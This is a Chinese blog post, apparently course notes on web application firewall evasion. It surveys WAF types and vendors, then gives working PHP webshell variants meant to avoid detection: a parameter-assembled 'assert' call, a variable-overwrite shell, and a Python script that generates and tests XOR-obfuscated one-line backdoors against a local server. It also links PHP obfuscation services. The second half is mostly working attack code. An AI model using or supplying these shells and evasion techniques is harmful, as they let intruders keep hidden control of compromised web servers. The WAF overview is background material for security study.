77天-WAF攻防-权限控制&代码免杀&异或运算&变量覆盖&混淆加密&传参

 

#知识点:

1、脚本后门基础&原理

2、脚本后门查杀绕过机制

3、权限维持-覆盖&传参&加密&异或等

代码块&传参数据&工具指纹等(表面&行为)

1、代码表面层免杀-ASP&PHP&JSP&ASPX等

2、工具行为层免杀-菜刀&蚁剑&冰蝎&哥斯拉等

 

#章节点:

WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。

 

#补充点:

1、什么是WAF?

Web Application Firewall(web应用防火墙),一种公认的说法是“web应用防火墙通过执行一系列针对HTTP/HTTPS的安全策略来专门为web应用提供保护的一款产品。

基本可以分为以下4种

软件型WAF

以软件的形式安装在服务器上面,可以接触到服务器上的文件,因此就可以检测服务器上是否有webshell,是否有文件被创建等。

 

硬件型WAF

以硬件形式部署在链路中,支持多种部署方式。当串联到链路上时可以拦截恶意流量,在旁路监听模式时只记录攻击但是不进行拦截。

 

云 WAF

一般以反向代理的形式工作,通过配置后,使对网站的请求数据优先经过WAF主机,在WAF主机对数据进行过滤后再传给服务器

 

网站内置的WAF

就是来自网站内部的过滤,直接出现在网站代码中,比如说对输入的参数强制类转换啊,对输入的参数进行敏感词检测啊什么的

 

2、如何判断WAF?

Wafw00f,看图识别,其他项目脚本平台

https://mp.weixin.qq.com/s/3uUZKryCufQ_HcuMc8ZgQQ

 

3、常见WAF拓扑&防护?

见上图流量走向&常见漏洞

 

4、目前有哪些常见WAF产品?

参考:https://blog.csdn.net/w2sft/article/details/104533082/

① 硬件型

硬件型WAF以一个独立的硬件设备的形态存在,支持以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为后端的Web应用提供安全防护,是最为传统的WAF型态,在受访企业中部署占比为35.2%。相对于软件产品类的WAF,这类产品的优点是性能好、功能全面、支持多种模式部署等,但它的价格通常比较贵。国内的绿盟、安恒、启明星辰等老牌厂商旗下的WAF都属于此类。

 

② 软件型

这种类型的WAF采用纯软件的方式实现,特点是安装简单,容易使用,成本低。但它的缺点也是显而易见的,除了性能受到限制外,还可能会存在兼容性、安全等问题。这类WAF的代表有ModSecurity、Naxsi、ShareWAF、安全狗等。

 

③ 云WAF

随着云计算技术的快速发展,使得基于云的WAF实现成为可能,在本次调查中占比甚至超过了传统的硬件WAF跃升为第一位,达到39.4%。阿里云、腾讯云、深信服云WAF、Imperva WAF是这类WAF的典型代表。

演示示例

代码-脚本后门免杀变异-覆盖&传参

1.php 传参带入

<?php

$a=$_GET['a'];

$aa=$a.'ert';

$aa(base64_decode($_POST['x']));

?>

 

?a=ass

x=cGhwaW5mbygpOw==

 

2.php 变量覆盖

<?php

$a='b';

$b='assert';

$$a(base64_decode($_POST['x']));

?>

 

x=cGhwaW5mbygpOw==

代码-脚本后门免杀变异-异或&加密

3.php 加密变异

http://www.phpjm.net/

 

 

https://www.phpjms.com/

http://1.15.155.76:1234/

 

4.php 异或运算

import requests

import time

import threading,queue

 

def string():

while not q.empty():

filename=q.get()

url = 'http://127.0.0.1:8081/x/' + filename

datas = {

'x': 'phpinfo();'

}

result = requests.post(url, data=datas).content.decode('utf-8')

if 'XIAODI-PC' in result:

print('check->'+filename+'->ok')

else:

print('check->'+filename+'->no')

time.sleep(1)

 

 

def shell_test_check():

url='http://127.0.0.1:8081/x/33xd64.php'

datas={

'x':'phpinfo();'

}

result=requests.post(url,data=datas).content.decode('utf-8')

print(result)

if 'XIAODI-PC' in result:

print('ok')

 

if __name__ == '__main__':

q=queue.Queue()

for i in range(1, 127):

for ii in range(1, 127):

payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"

code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"

filename = str(i) + 'xd' + str(ii) + '.php'

q.put(filename)

with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:

f.write(code)

f.close()

print('Fuzz文件生成成功')

for x in range(20):

t=threading.Thread(target=string)

t.start()

 

posted @   白芳草  阅读(136)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示